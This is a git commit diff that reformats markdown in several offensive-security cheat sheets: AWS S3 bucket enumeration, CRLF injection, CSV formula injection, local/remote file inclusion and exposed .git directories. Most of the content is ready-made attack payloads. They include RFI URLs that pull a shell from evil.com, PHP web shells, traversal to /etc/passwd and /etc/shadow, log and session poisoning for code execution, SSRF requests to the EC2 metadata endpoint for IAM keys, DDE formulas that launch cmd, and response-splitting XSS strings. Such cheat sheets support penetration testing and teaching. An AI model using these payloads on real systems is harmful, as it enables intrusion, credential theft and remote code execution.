Markdown formatting update

This commit is contained in:
Swissky 2018-08-12 23:30:22 +02:00
parent 177c12cb79
commit 65654f81a4
40 changed files with 1375 additions and 827 deletions

View File

@ -1,47 +1,56 @@
# Amazon Bucket S3 AWS # Amazon Bucket S3 AWS
Prerequisites, at least you need awscli Prerequisites, at least you need awscli
```
```bash
sudo apt install awscli sudo apt install awscli
``` ```
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential
but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/ but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
```
```javascript
aws configure aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY] AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY] AWSSecretKey=[ENTER HERE YOUR KEY]
``` ```
```
```javascript
aws configure --profile nameofprofile aws configure --profile nameofprofile
``` ```
then you can use *--profile nameofprofile* in the aws command then you can use *--profile nameofprofile* in the aws command
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
```
```bash
http://s3.amazonaws.com/[bucket_name]/ http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/ http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/ http://flaws.cloud.s3.amazonaws.com/
``` ```
## Basic test - Listing the files ## Basic test - Listing the files
```bash ```bash
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2 aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
``` ```
You can get the region with a dig and nslookup You can get the region with a dig and nslookup
```bash ```bash
$ dig flaws.cloud $ dig flaws.cloud
;; ANSWER SECTION: ;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11 flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11 $ nslookup 52.218.192.11
Non-authoritative answer: Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
``` ```
## Move a file into the bucket ## Move a file into the bucket
```
```bash
aws s3 mv test.txt s3://hackerone.marketing aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied." FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
@ -50,17 +59,20 @@ SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
``` ```
## Download every things (in an open bucket) ## Download every things (in an open bucket)
```
```powershell
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2 aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
``` ```
## Check bucket disk size (authenticated) use, --no-sign for un-authenticated ## Check bucket disk size (authenticated) use, --no-sign for un-authenticated
```
```powershell
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}' aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
``` ```
## AWS - Extract Backup ## AWS - Extract Backup
```
```powershell
aws --profile flaws sts get-caller-identity aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029", "Account": "XXXX26262029",
@ -79,19 +91,23 @@ sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt sudo mount /dev/xvda1 /mnt
``` ```
## Bucket informations ## Bucket informations
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting : Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
```
```powershell
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
``` ```
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
## Bucket Finder ## Bucket Finder
A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files. A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.
```
```powershell
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words ./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words ./bucket_finder.rb --region ie my_words
@ -104,14 +120,16 @@ wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar
./bucket_finder.rb --download --region ie my_words ./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words ./bucket_finder.rb --log-file bucket.out my_words
``` ```
Use a custom wordlist for the bucket finder, can be created with Use a custom wordlist for the bucket finder, can be created with
```
```powershell
List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media. List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart. List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.
``` ```
## Thanks to ## Thanks to
* https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets * https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
* https://digi.ninja/projects/bucket_finder.php * https://digi.ninja/projects/bucket_finder.php
* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792) * [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)

View File

@ -1,16 +1,20 @@
# CRLF # CRLF
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in todays popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in todays popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
## CRLF - Add a cookie ## CRLF - Add a cookie
Requested page Requested page
```
```powershell
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
``` ```
HTTP Response HTTP Response
```
```powershell
Connection: keep-alive Connection: keep-alive
Content-Length: 178 Content-Length: 178
Content-Type: text/html Content-Type: text/html
@ -24,12 +28,16 @@ x-xss-protection: 1; mode=block
``` ```
## CRLF - Add a cookie - XSS Bypass ## CRLF - Add a cookie - XSS Bypass
Requested page Requested page
```
```powershell
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
``` ```
HTTP Response HTTP Response
```
```powershell
HTTP/1.1 200 OK HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8 Content-Type: text/html; charset=utf-8
@ -50,15 +58,17 @@ X-XSS-Protection:0
0 0
``` ```
## CRLF - Write HTML ## CRLF - Write HTML
Requested page Requested page
```
```powershell
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
``` ```
HTTP response HTTP response
```
```powershell
Set-Cookie:en Set-Cookie:en
Content-Length: 0 Content-Length: 0
@ -71,19 +81,21 @@ Content-Length: 34
``` ```
## CRLF - Filter Bypass ## CRLF - Filter Bypass
Using UTF-8 encoding Using UTF-8 encoding
```
```powershell
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
``` ```
Remainder: Remainder:
* %E5%98%8A = %0A = \u560a * %E5%98%8A = %0A = \u560a
* %E5%98%8D = %0D = \u560d * %E5%98%8D = %0D = \u560d
* %E5%98%BE = %3E = \u563e (>) * %E5%98%BE = %3E = \u563e (>)
* %E5%98%BC = %3C = \u563c (<) * %E5%98%BC = %3C = \u563c (<)
## Thanks to ## Thanks to
* https://www.owasp.org/index.php/CRLF_Injection * https://www.owasp.org/index.php/CRLF_Injection
* https://vulners.com/hackerone/H1:192749 * https://vulners.com/hackerone/H1:192749

View File

@ -1,22 +1,24 @@
# CSV Excel formula injection # CSV Excel formula injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed. Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Exploit ## Exploit
Basic exploit with Dynamic Data Exchange Basic exploit with Dynamic Data Exchange
```
```powershell
DDE ("cmd";"/C calc";"!A0")A0 DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0 @SUM(1+1)*cmd|' /C calc'!A0
```
Technical Details of the above payload: Technical Details of the above payload:
cmd is the name the server can respond to whenever a client is trying to access the server cmd is the name the server can respond to whenever a client is trying to access the server
/C calc is the file name which in our case is the calc(i.e the calc.exe) /C calc is the file name which in our case is the calc(i.e the calc.exe)
!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data !A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
```
Any formula can be started with Any formula can be started with
```
```powershell
= =
+ +
@ -24,6 +26,7 @@ Any formula can be started with
``` ```
## Thanks to ## Thanks to
* https://owasp.org/index.php/CSV_Excel_Macro_Injection
* https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection * [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
*https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ * [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)

View File

@ -1,15 +1,17 @@
# Local/Remote File Inclusion # Local/Remote File Inclusion
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
## Summary ## Summary
* [Basic LFI](#basic-lfi) * [Basic LFI](#basic-lfi)
* [Basic RFI](#basic-rfi) * [Basic RFI](#basic-rfi)
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) * [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
* [Wrapper php://filter]() * [Wrapper php://filter](l#wrapper-phpfilter)
* [Wrapper zip://]() * [Wrapper zip://](#wrapper-zip)
* [Wrapper data://]() * [Wrapper data://](#wrapper-data)
* [Wrapper expect://]() * [Wrapper expect://](#wrapper-expect)
* [Wrapper input://]() * [Wrapper input://](#wrapper-input)
* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) * [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) * [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
* [LFI to RCE via upload](#lfi-to-rce-via-upload) * [LFI to RCE via upload](#lfi-to-rce-via-upload)
@ -17,9 +19,9 @@ The File Inclusion vulnerability allows an attacker to include a file, usually e
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) * [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) * [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
Linux - Interesting files to check out : Linux - Interesting files to check out :
```
```powershell
/etc/issue /etc/issue
/etc/passwd /etc/passwd
/etc/shadow /etc/shadow
@ -40,7 +42,8 @@ Linux - Interesting files to check out :
``` ```
Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread) Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
```
```powershell
c:/boot.ini c:/boot.ini
c:/inetpub/logs/logfiles c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa c:/inetpub/wwwroot/global.asa
@ -63,9 +66,9 @@ c:/unattended.txt
c:/unattended.xml c:/unattended.xml
``` ```
The following log files are controllable and can be included with an evil payload to achieve a command execution The following log files are controllable and can be included with an evil payload to achieve a command execution
```
```powershell
/var/log/apache/access.log /var/log/apache/access.log
/var/log/apache/error.log /var/log/apache/error.log
/var/log/httpd/error_log /var/log/httpd/error_log
@ -76,128 +79,146 @@ The following log files are controllable and can be included with an evil payloa
/var/log/mail /var/log/mail
``` ```
## Basic LFI ## Basic LFI
```
```powershell
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
Null byte Null byte
```
```powershell
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
Double encoding Double encoding
```
```powershell
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
``` ```
Path truncation Path truncation
```
```powershell
http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
``` ```
Filter bypass tricks Filter bypass tricks
```
```powershell
http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
``` ```
## Basic RFI ## Basic RFI
```
```powershell
http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http://evil.com/shell.txt
``` ```
Null byte Null byte
```
```powershell
http://example.com/index.php?page=http://evil.com/shell.txt%00 http://example.com/index.php?page=http://evil.com/shell.txt%00
``` ```
Double encoding Double encoding
```
```powershell
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
``` ```
## LFI / RFI using wrappers ## LFI / RFI using wrappers
### Wrapper php://filter ### Wrapper php://filter
The part "php://filter" is case insensitive The part "php://filter" is case insensitive
```
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
``` ```
can be chained with a compression wrapper for large files. can be chained with a compression wrapper for large files.
```
```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
``` ```
### Wrapper zip:// ### Wrapper zip://
```python ```python
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php; zip payload.zip payload.php;
mv payload.zip shell.jpg; mv payload.zip shell.jpg;
rm payload.php rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php
``` ```
### Wrapper data:// ### Wrapper data://
```
```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
### Wrapper expect:// ### Wrapper expect://
```
```powershell
http://example.com/index.php?page=php:expect://id http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls http://example.com/index.php?page=php:expect://ls
``` ```
### Wrapper input:// ### Wrapper input://
Specify your payload in the POST parameters Specify your payload in the POST parameters
```
```powershell
http://example.com/index.php?page=php://input http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?> POST DATA: <? system('id'); ?>
``` ```
## LFI to RCE via /proc/*/fd ## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100) 1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
## LFI to RCE via /proc/self/environ ## LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```
```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?> User-Agent: <?=phpinfo(); ?>
``` ```
## LFI to RCE via upload ## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : "<?php system($_GET['c']); ?>" ).
``` If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
```powershell
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
## LFI to RCE via phpinfo() ## LFI to RCE via phpinfo()
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
## LFI to RCE via controlled log file ## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
```
```powershell
http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/vsftpd.log
@ -209,30 +230,38 @@ http://example.com/index.php?page=/usr/local/apache2/log/error_log
``` ```
## LFI to RCE via PHP sessions ## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID) Check if the website use PHP Session (PHPSESSID)
```
```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
``` ```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
```
```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
``` ```
Set the cookie to <?php system('cat /etc/passwd');?>
``` Set the cookie to `<?php system('cat /etc/passwd');?>`
```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
``` ```
Use the LFI to include the PHP session file Use the LFI to include the PHP session file
```
```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
``` ```
## Thanks to ## Thanks to
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) * [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
* [Turning LFI to RFI ](https://l.avala.mp/?p=241) * [Turning LFI to RFI](https://l.avala.mp/?p=241)
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)

View File

@ -1,62 +1,60 @@
# GIT - Source management # Insecured source code management
## GIT - Source code management
### Github example with a .git
## Github example with a .git
1. Check 403 error (Forbidden) for .git or even better : directory listing 1. Check 403 error (Forbidden) for .git or even better : directory listing
2. Git saves all informations in log file .git/logs/HEAD (try 'head' too) 2. Git saves all informations in log file .git/logs/HEAD (try 'head' too)
``` ```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git 0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial. 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag. 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing. 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
``` ```
3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c, 3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,
``` ```powershell
# create a .git directory # create a .git directory
git init test git init test
cd test/.git cd test/.git
# download the file # download the file
wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
mkdir .git/object/26 mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
# display the content of the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489390329 +0000
committer Michael <michael@easyctf.com> 1489390329 +0000
Initial.
```
# display the content of the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489390329 +0000
committer Michael <michael@easyctf.com> 1489390329 +0000
Initial.
```
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39 4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
``` ```powershell
wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39 wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32 mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/ mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
```
